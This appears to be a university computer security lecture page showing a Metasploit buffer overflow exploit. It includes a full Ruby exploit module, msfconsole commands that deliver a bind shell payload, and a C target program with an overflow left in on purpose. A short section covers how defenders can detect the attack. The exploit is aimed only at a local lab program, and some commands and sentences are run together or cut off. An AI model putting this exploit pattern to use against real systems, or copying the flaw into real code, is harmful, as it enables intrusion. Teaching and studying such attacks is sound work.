Buffer Overflow Part 3: Metasploit

Computer Security Lecture, Dr. Lawlor

Metasploit is a reusable Ruby framework for building offensive tools for attacking machines. 
Metasploit installation is initially quite painless on a recent Linux machine, or it's part of several tool distributions like Kali.  The default install location in Kali is /usr/share/metasploit-framework/tools/modules/; for a manual install it's /opt/metasploit-framework/embedded/framework/modules/. 

To start metasploit command line, run
    msfconsole

Using a Buffer Overflow Exploit Module

Metasploit Unleashed has a good section on "Exploit Development".

Rapid7's design rationale for their exploit modules

I wrote a tiny metasploitable buffer overflow example program called ijit.  (It's called ijit because it's in the style of a heap-based exploit for a Just-In-Time (JIT) compiler.) 

To use it from a Linux machine, first softlink this code into your metasploit modules directory:
cd
git clone https://github.com/olawlor/security
out=~/.msf4/modules/exploits/linux
mkdir -p $out cd $out ln -s ~/security/ijit/ijit.rb .
(Don't check out directly into modules/exploits, that will make msfconsole hang at startup when it sees the executable git hooks!)
If you've already started metasploit, "reload_all" will rescan for any new modules.  The "~/.msf4" needs to be the same user that's running msfconsole. 

Now compile and run the vulnerable program, or use my precompiled 32-bit version if you're on Linux:
cd ~/security/ijit
gcc ijit.c -o ijit64 
nc -l -p 8888 | ./ijit64
I'm using netcat to bolt TCP port 8888 to the vulnerable program's standard input.   Leave the vulnerable program running.

In another terminal, exploit it with msfconsole. 
msfconsole
use exploit/linux/ijit
reload
show targets
set target 0
show options
set RHOST 127.0.0.1
show nops
set nop x64/simple
show payloads
set payload linux/x64/shell/bind_tcp exploit

If it doesn't work, make sure the vulnerable process is running and your network works, and hit "exploit" again.
If it works, you get a shell on the target machine.  Type "exit" or kill the far side to get back to msfconsole.

Here's the modules/exploits/linux/ijit/ijit.rb metasploit script.  msfconsole "reload" is useful anytime you change this script.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'ijit Demo Buffer Overflow',
'Description' => %q{
Simple demo buffer overflow for custom "ijit" server.
},
'Author' => [ 'OSL' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', 'xxxx-yyyy' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x20\x0a\x0d\x0b\x0c\x09",
},
'Platform' => 'linux',
'Targets' =>
[
[ 'ijit buffer start', { 'Ret' => 0x3badc040 } ],
[ 'ijit sled middle', { 'Ret' => 0x3badc240 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'November 2020'))

register_options(
[
Opt::RPORT(8888)
])
end

def exploit
print_status("Connecting to target...")
connect

sock.get_once

shellcode = payload.encoded
outbound = rand_text_alphanumeric(32) + payload.encoded + [target.ret].pack('Q')
print_status("Outbound data: \"#{outbound}\"")
hexed = shellcode.dump
print_status("Payload in hex: \"#{hexed}\"")

print_status("Trying target #{target.name}...")

sock.put(outbound)

handler
disconnect
end
end

    (In

    making this actually work, the hardest part was finding all the
    BadChars.  The payload byte copy will stop early if you send
    over a bad character, leaving half-finished shellcode that usually
    crashes with Illegal instruction.)

The vulnerable C code is below.    
/**
ijit: interactive Just-In-Time compiler
UNIX program designed to be a relatively reliable simple target
for buffer overflow attacks.
Compile and run on TCP port 8888 with:
gcc ijit.c -o ijit
nc -l -p 8888 | ./ijit
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

struct ijit_code;

/** This function pointer runs the jit'd code */
typedef void (*ijit_interpreter)(struct ijit_code *code);

/** This struct stores a block of jit code */
struct ijit_code {
char name[32]; /* run name */
char jitted[1024]; /* machine code to run */
ijit_interpreter interp; /* fallback interpreter function */
};

int main() {
/* Allocate executable area to store JIT code: */
struct ijit_code *code=(struct ijit_code *)mmap(
(void *)0x3badc000, /* pointer to base address of new jit_code structure */
4096, /* bytes of code to run */
PROT_READ|PROT_WRITE|PROT_EXEC, /* allow anything: RWX */
MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, /* allocate memory where I say */
-1, 0 /* file descriptor and offset not used. */
);
if (code==(struct ijit_code *)-1) {
perror("mmap"); exit(1);
}

/* Set up structure */
code->interp=0;
printf("Loading name into code struct at %p...\n",(void *)code);

/* VULNERABILTY HERE: read name *without* checking name length. */
if (1!=scanf("%s",code->name)) {
printf("ERROR in scanf. Exiting.\n"); exit(1);
}
printf("Loaded name %s (%zd bytes)\n", code->name, strlen(code->name));

/* Run the code */
if (code->interp) {
printf("Seems to be an interpreter at %p: running it...\n",(void *)code->interp);
code->interp(code);
printf("Back from interpreter.\n");
} else {
printf("No interpreter found. Exiting.\n");
}
return 0;
}

Here I'm allocating the jit_code space using mmap for two reasons:
This is just a tiny taste of the full power of metasploit. 

Defender: Ways to notice Metasploit

The actual attack gets sent across the network, so a good intrusion detection system has a chance to detect it and reject it.  Metasploit includes many randomization modules (this is basically it's main job) to make it harder to find the attack among regular traffic.
"netstat -tulpan" shows a command and control connection from your machine back to the attacker.  By default this is a TCP stream on TCP port 4444.  By default your machine also listens on port 4444 "ps aux" shows no sign of the original server process (ijit), because it's been overwritten (via exec /bin/sh).  But it didn't exit normally, or log anything.  Instead, we now have a process "/bin//sh".  A sophisticated attacker will restart the server, to make it less likely for the defender to notice anything's wrong. 
By default metasploit does not *touch* the disk.  Because everything's in memory only, if you shut down or restart the target, you will cover all the attacker's tracks.

32-bit Equivalent

To compile and run the vulnerable program in 32-bit mode:
cd ~/security/ijit
gcc -m32 ijit.c -o ijit32 
nc -l -p 8888 | ./ijit32
Leave the vulnerable program running.

In another terminal, exploit it with msfconsole. 
msfconsole
use exploit/linux/ijit/ijit 
reload
show targets
set target 0
show options
set RHOST 127.0.0.1
show nops
set nop x86/single_byte
show payloads
set payload linux/x86/shell/bind_tcp exploit

Debug: Making the Database Connection

By default metasploit relies on a database, postgres, which has a bad habit of unpredictably failing and preventing msfconsole from even starting.  And it takes at least a few seconds to start normally, so it's hard to distinguish from a hang.  (msfconsole will also hang on startup or reload_all if it finds anything executable inside your modules directory, even a shell script or git commit hook--it will run it and wait forever for it to respond to jsonrpc calls.)

To verify postgres is running, try a netstat and make sure you have a process named postgres listening on TCP port 5433; if not, you need to start postgres manually, for example with one of these commands:
If msfconsole hangs at startup, you can press ctrl-C twice (!) to stop it attempting to connect to the database, giving you an msfconsole.  db_status will show the database status.  You may need to reconnect to the database with something like this: